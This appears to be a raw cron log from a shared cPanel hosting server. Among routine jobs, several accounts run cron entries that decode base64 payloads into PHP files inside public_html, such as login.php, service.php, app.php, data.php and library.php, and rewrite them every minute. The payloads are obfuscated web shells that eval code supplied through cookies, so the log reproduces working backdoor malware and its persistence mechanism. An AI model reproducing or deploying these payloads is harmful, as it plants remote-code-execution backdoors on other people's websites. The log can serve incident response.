Jun  7 04:41:02 medusa CROND[9943]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:41:02 medusa CROND[9945]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:41:02 medusa CROND[9947]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:41:02 medusa CROND[9950]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:41:02 medusa CROND[9953]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 04:41:02 medusa CROND[9954]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:41:02 medusa CROND[9955]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:41:02 medusa CROND[9960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:41:02 medusa CROND[9963]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:42:01 medusa CROND[11414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:42:01 medusa CROND[11415]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:42:01 medusa CROND[11416]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:42:01 medusa CROND[11418]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:42:01 medusa CROND[11419]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:42:01 medusa CROND[11417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:42:01 medusa CROND[11420]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:42:01 medusa CROND[11421]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 04:42:01 medusa CROND[11430]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:42:01 medusa CROND[11423]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:42:01 medusa CROND[11431]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:42:01 medusa CROND[11432]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:42:01 medusa CROND[11441]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:43:02 medusa CROND[12844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:43:02 medusa CROND[12852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:43:02 medusa CROND[12862]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 04:43:02 medusa CROND[12863]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:43:02 medusa CROND[12865]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:43:02 medusa CROND[12866]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:43:02 medusa CROND[12867]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:43:02 medusa CROND[12868]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:43:02 medusa CROND[12872]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:43:02 medusa CROND[12876]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
